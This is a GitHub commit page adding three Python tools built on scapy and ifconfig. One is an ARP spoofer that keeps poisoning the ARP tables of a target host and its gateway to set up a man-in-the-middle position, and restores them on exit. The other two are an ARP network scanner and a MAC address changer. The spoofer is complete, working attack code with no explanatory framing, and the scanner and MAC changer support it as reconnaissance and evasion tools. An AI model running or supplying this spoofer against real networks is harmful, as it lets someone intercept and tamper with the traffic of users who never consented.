Skip to content

Commit

Permalink
first commit
Browse files Browse the repository at this point in the history
  • Loading branch information
salaheddinelhamraoui committed Apr 26, 2020
0 parents commit 3b069c2
Show file tree
Hide file tree
Showing 3 changed files with 121 additions and 0 deletions.
43 changes: 43 additions & 0 deletions ARP-SPOOFER/ARP-SPOOFER.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
import time
import sys
import scapy.all as scapy


def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answer_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answer_list[0][1].hwsrc


def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
'''verbose = False الغرض من هاته العبارة الغاء الرسائل التي تظهر بعد تطبيق الأوامر'''
scapy.send(packet, verbose=False)


def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, count=4, verbose=False)


target_ip = "10.0.2.7"
gateway_ip = "10.0.2.1"

try:
sent_packets_count = 0
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count = sent_packets_count + 2
print("\r [+] Packets sent: " + str(sent_packets_count)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("\n [-] Detected CTR + C ... Resetting ARP tables ...... Please wait. \n")
restore(target_ip, gateway_ip)
restore(gateway_ip, target_ip)
33 changes: 33 additions & 0 deletions Network-Scanner/Network-Scanner.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
#!/usr/bin/env python

import scapy.all as scapy
import argparse


def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest="target", help="Target IP / IP range.")
options = parser.parse_args()
return options


def scan(target_ip):
arp_request = scapy.ARP(pdst=target_ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answerd_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
clients_list = []
for element in answerd_list:
clients_dict = {"ip": element[1].psrc, "mac": element[1].hwsrc}
clients_list.append(clients_dict)
return clients_list


def print_result(results_list):
print("IP\t\t\tMAC ADDRESS\n-----------------------------------------")
for client in results_list:
print(client["ip"] + "\t\t" + client["mac"])

options = get_arguments()
scan_result = scan(options.target)
print_result(scan_result)
45 changes: 45 additions & 0 deletions mac-changer/mac-changer.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
#!/usr/bin/env python

import subprocess
import optparse
import re

def get_arguments():
parser = optparse.OptionParser()
parser.add_option('-i', '--interface', dest='interface', help="Interface to change it's mac adress")
parser.add_option('-m', '--mac', dest='new_mac', help='New Mac adress')
(options, arguments) = parser.parse_args()
if not options.interface:
parser.error("[-] Please specify an interface, use --help for more info.")
elif not options.new_mac:
parser.error("[-] Please specify a new mac, use --help for more info.")
return options

def change_mac(interface, new_mac):
print('[+] Changing MAC address for ' + interface + ' To ' + new_mac)
subprocess.call(["ifconfig", interface, "down"])
subprocess.call(["ifconfig", interface, "hw", "ether", new_mac])
subprocess.call(["ifconfig", interface, "up"])

def get_current_mac(interface):
ifconfig_result = subprocess.check_output(["ifconfig", options.interface])
mac_address_search_result = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", ifconfig_result)
if mac_address_search_result:
return mac_address_search_result.group(0)
else:
print("[-] couldn't read MAC address.")

options = get_arguments()



current_mac = get_current_mac(options.interface)
print('Current MAC = '+ str(current_mac))

change_mac(options.interface,options.new_mac)

current_mac = get_current_mac(options.interface)
if current_mac == options.new_mac:
print("[+] MAC address was successully changed to " + current_mac)
else:
print("[+] MAC address didn't get changed")

0 comments on commit 3b069c2

Please sign in to comment.